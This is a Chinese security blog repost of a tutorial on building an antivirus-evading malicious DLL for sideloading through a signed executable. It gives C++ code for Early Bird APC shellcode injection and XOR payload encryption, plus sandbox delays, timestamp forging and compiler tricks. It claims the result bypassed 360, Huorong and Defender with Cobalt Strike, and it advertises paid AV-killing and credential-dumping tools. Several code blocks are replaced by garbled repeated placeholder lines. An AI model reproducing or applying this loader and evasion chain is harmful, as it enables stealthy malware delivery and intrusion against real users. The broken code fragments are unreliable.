点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
背景介绍
来源:先知社区,作者:Endlessparadox
本文记录的我学习实现白+黑免杀的过程,以及遇到了shellcode编写32位无法注入64的问题,最后组合了各种静态规避手段,成功静态层面逃逸大部分的杀软。成品和源码可以在最下方的先知的附件中可以拿到,仅供学习参考。
基本背景
在与杀毒软件的对抗中,即使恶意代码再隐蔽,一旦被发现,它的生命便结束了。杀毒软件厂商通过算法如MD5等获取样本的唯一值来构建云端特征库,另一方面很多合法的软件也需要要用到一些敏感的系统动作,于是就出现了软件签名技术。
软件开发厂商会对自己发布的软件进行签名,这样即使出现敏感动作(截图、图形远程控制)杀软也会放行动作,大大提高了正常用户的体验。
但是软件开发厂商随着开发时间的推移,即使是安全做的最好的公司也出现管理方面的混乱,很多软件由于开发的历史包袱就出现了一堆dll劫持漏洞,未校验签名的情况,甚至是泄露的句柄和token等等。在这种背景下,黑客就会劫持持有白签名的exe来使得恶意代码更加隐蔽,这就是所谓的白加黑。
DLL基础
编写一个恶意的dll正常程序没有太大区别,只不过函数的入口约定成了如下形式:
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACHED:
HelloWorld(); // A process is loading the DLL.
break;
case DLL_THREAD_ATTACHED: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
void HelloWorld() { MessageBox( NULL, TEXT("Hello World"), TEXT("In a DLL"), MB_OK); }
当dll被加载的时候就会进入DLL_PROCESS_ATTACHED中执行其中HelloWorld()函数,一般开发者会导出自己写的函数给主程序使用:
extern __declspec(dllexport) voidHelloWorld();
主程序需要获取这个函数的地址来调用:
HINSTANCE hinstDLL = ::LoadLibrary(L"Dll_test.dll");
if(hinstDLL != NULL) {
FunctionType HelloWorld = (FunctionType)GetProcAddress(hinstDLL, "");
if(HelloWorld != NULL) {
HelloWorld();
}
else {
std::cerr << "Failed to find s function in the DLL." << ::GetLastError() << std::endl;
}
}
else {
// 处理错误:加载DLL失败
std::cerr << "Failed to load the DLL." << ::GetLastError() << std::endl;
}
可以看到正常的的开发者一般都会直接LoadLibrary,这就很容易让我们去劫持dll。
寻找具备未被检验签名的DLL
其实没什么好说的,就是在网上不停的下载安装包,查找安装的软件,然后不断复制出exe,双击看看会不会弹出“缺少xxx.dll”的警告,一天速度快能挖一堆这玩意,绝大部分软件厂商的exe压根不会校验自己的dll有没有篡改,just load。经过一个小时多,我找到了一个游戏加速器的比较好用
只缺失一个dll,有些exe缺失一堆的在红队操作中来回上传就显得有点麻烦了:
编写dll VS project:
当我们找好了可以劫持的dll后就可以编写恶意的dll了,不过如果dll导出函数太多的话,一个个去复制粘贴太累了,不现实,这里我们要使用工具 AheadLibEx.exe,这将帮助我们轻松生成一个VS project:
打开生成的VS project我们发现它帮我们生成的很多函数,我们不需要可以直接删掉,这并不影响我们后续恶意代码运行:
可以看到里面的load和init函数我们其实都不需要,直接删掉里面代码,保留最基本都入口就可以了
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
//这里写我们的恶意代码
。。。。。。。。
}
elseif (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
注意事项:
编译的时候要注意程序位数,我们的具备白签名的文件是32位,dll也得是32位 有些不同版本的编译器似乎无法正确解析__asm jmp汇编代码,可以直接批量//注释掉不影响运行 cpp17和cpp20标准编译可能有无法预测的行为会导致编译失败,我暂时还没弄清楚原因,本文代码建议用cpp17标准
编写注入方法
这里我将使用 Early Bird APC注入(早鸟APC注入),Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息
第一步,利用CreateProcessA拉起一个挂起的进程,这里我使用DEBUG_PROCESS标志位来阻塞它使其具备APC注入的条件
std::tuple<DWORD, HANDLE, HANDLE> CreateProcessAndStop(const std::string& lpProcessName) {
std::string lpPath = lpProcessName;
std::cout << "nt[i] Running: "" << lpPath << "" ... ";
STARTUPINFOA Si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION Pi = { 0 };
if(!CreateProcessA(NULL, (LPSTR)(lpPath.data()), NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
std::cerr << "[!] CreateProcessA Failed with Error : " << GetLastError() << std::endl;
return { 0, INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE };
}
std::cout << "[+] DONE" << std::endl;
return { Pi.dwProcessId, Pi.hProcess, Pi.hThread };
}
第二步,利用正常的注入技术注入到拉起的新进程中,非常经典的三个函数调用:
VirtualAllocEx分配一个rw内存 WriteProcessMemory写入shellcode VirtualProtectEx修改内存权限为rx
std::tuple<BOOL, PVOID> InjectShellcode(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode){
SIZE_T sNumberOfBytesWritten = NULL;
PVOID pAddress = nullptr;
pAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
std::cerr << "nt[!] VirtualAllocEx Failed With Error : " << GetLastError() << std::endl;
return std::make_tuple(FALSE, nullptr);
}
std::cout << "nt[i] Allocated Memory At : 0x" << pAddress << std::endl;
std::cout << "t[#] Press <Enter> To Write Payload ... ";
if (!WriteProcessMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
std::cerr << "nt[!] WriteProcessMemory Failed With Error : " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
return std::make_tuple(FALSE, nullptr);
}
std::cout << "t[i] Successfully Written " << sNumberOfBytesWritten << " Bytes" << std::endl;
DWORD dwOldProtection = NULL;
if (!VirtualProtectEx(hProcess, pAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtection)) {
std::cerr << "nt[!] VirtualProtectEx Failed With Error : " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
return std::make_tuple(FALSE, nullptr);
}
return std::make_tuple(TRUE, pAddress);
}
第三步,需要调用插入APC队列,当回调发生的时候指向我们的shellcode地址
QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL);
第四步,使用DebugActiveProcessStop触发函数回调成功上线:
DebugActiveProcessStop(PId);
我画了个简单的图片描述了上述APC注入的流程:
编写加密和延迟方法
虽然有更高级的加密方法,但对付杀毒的静态查杀只需要使用XOR即可打乱所有特征,加密的key可以使用常见出现的字符规避签名,注意key不能太短,不然有一部分杀毒依然能检测到特征:
voidXorByInputKey(std::vector<unsignedchar>& shellcode, const std::string& key){
size_t shellcodeSize = shellcode.size();
size_t keySize = key.size();
for (size_t i = 0, j = 0; i < shellcodeSize; i++, j++) {
if (j >= keySize) {
j = 0;
}
shellcode[i] = shellcode[i] ^ key[j];
}
}
同时为了对抗一些比较low的内存扫描和沙箱我们使用WaitForSingleObject等待杀毒分析完再运行起来:
WaitForSingleObject(GetCurrentThread(), 10000);
获取加密的shellcode
从本地文件game.ini中读取加密的shellcode
extern __declspec(dllexport) voidHelloWorld();
0
到这里DLLmain的全部逻辑就写完了,可以愉快的测试上线了,然而我x32dbg调了一天发现shellcode明明已经就位,每个环节也没有任何windows errors code返回,还是不上线,这是怎么回事?
存在32位进程无法注入64进程的问题
经过一天排查资料我找到了原因:
通常来说,32位的程序只能注入32位的程序,64也只能注入64位的程序,运行在Wow64下的32位程序默认调用的是x32的API,kernel32导出的API地址在32位和64位下的地址是不同的,也没办法直接调用x64下的API,也就导致了APC创建线程肯定会直接崩溃。
简单的解决办法是直接拉起一个32位的进程,每次根据情况来调整这个参数:
extern __declspec(dllexport) voidHelloWorld();
1
不过渗透环境比较复杂,我们还是得想办法切换线程bit模式来适应这个问题,不过由于实现过于复杂,涉及到大量的汇编代码,遗憾的是我现在水平确实不够,不过我发现msf确实有解决方案能从32位进程注入64进程,师傅有兴趣可以去看源码研究一下
进一步静态规避
个别杀毒喜欢给最近创建的文件标记为可疑,这里我们需要修改时间戳,可以使用工具修改一下为最近的时间:
extern __declspec(dllexport) voidHelloWorld();
2
这样看起来系统编译的时间就比较正常了:
卡巴斯基的启发式查杀对这类的较小的dll容易检测出dll劫持,我这里使用添加静态资源来规避:
选择一个合适的ico,大家电脑上一堆,找个大一点的就可以了:
默认的VS设置比较坑爹,在release模式下依然会带上调试信息,清单信息,里面的信息包含编译的路径和用户名,这导致攻防的时候有部分搞免杀的师傅被溯源出来id,就连不少顶级APT组织都翻车过,微软你坏事做尽(笑),我们得去资源方案关掉这个坑爹的选项:
最后注释掉所有我们debug的打印信息,上传VT查看静态效果,印象中32位的免杀效果一般都比较差,这个结果总体来说还可以了
更加底层的静态规避:
刚刚的效果看起来已经还行啦,3/71的效果,特征其实在MT里面了,不过你还希望更好可以参考利用gcc编译器取消所有特征,这里直接给出文章里面的编译方法:
extern __declspec(dllexport) voidHelloWorld();
3
你可能和我一样懒得去linux编译安装,可以参考这个去官网安装Intel C++编译器到我们的VS项目里面
不得不点名表扬一下intel的这个开发工具,真是一条龙服务,安装完成之后默认的平台编译工具直接帮我们配置好了,直接切换其他编译器正常编译就行了。
你可能会好奇为什么LLVM和lnetel编译的规避效果更好,实际上是因为杀毒特征采用的是基于模糊哈希算法的恶意代码检测,大部分黑客早期都一直在用默认的编译器去编写恶意代码导致就连正常的编译的都会报毒了,像这种比较冷门的编译器用的人少,产生的特征就更少效果自然好不少。
说到这里就不得不提一下基于LLVM的混淆了,大部分杀毒的特征码容易出现在循环和独有的字符串上,于是有大佬就在底层上patch了llvm底层编译的状态,使得简单的控制流都变得非常复杂:
图来自github,我这里就不再尝试了,有兴趣的师傅可以折腾一下,这方面就算是非常底层的混淆,已经远远超出我们当下的讨论的范围。
上线测试效果
现在开始测试上线,为了避免一下就GG我们生成的payload请选择stagless,同时要使用Malleable C2中的修改后的流量,这样将进一步降低流量特征,同时启用system call中的indirect(间接系统调用)避免一些杀毒的hook,output生成raw之后用加密器加密一下就好了。
360不喜欢我们用微软默认的编译器,这杀毒老是喜欢乱杀-即便你就编译一个helloword,我实际测试用到就是clang编译器的编译成品;360和火绒是没有内存查杀的,流量检测也很简陋,绕过还是比较简单:
360查杀效果:
动态效果运行一段时间也很正常:
火绒查杀效果:
运行一段时间也没问题:
挑战一下防御全开的windows defender这种有内存查杀和流量检测都还可以的,上线没问题,启动扫描后依然一切正常,就不放上线的图了:
本来前面的测试想放GIF的,但是全录起来几分钟就显得没必要了。
总结
extern __declspec(dllexport) voidHelloWorld();
4
参考资料和工具文末获取!
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
一键击溃360+核晶
一键击溃奇安信天擎V10进程
一键击溃windows defender
一键击溃火绒进程
CobaltStrike4.9.1二开
CobaltStrike免杀加载器
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
目前星球已满300人,价格由218元调整为228元(交个朋友啦),400名以后涨价至268元!
关注微信公众号后台回复“入群”,即可进入星落安全交流群!
关注微信公众号后台回复“20241231”,即可获取项目相关代码!
往期推荐
1.
3
4
5.
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...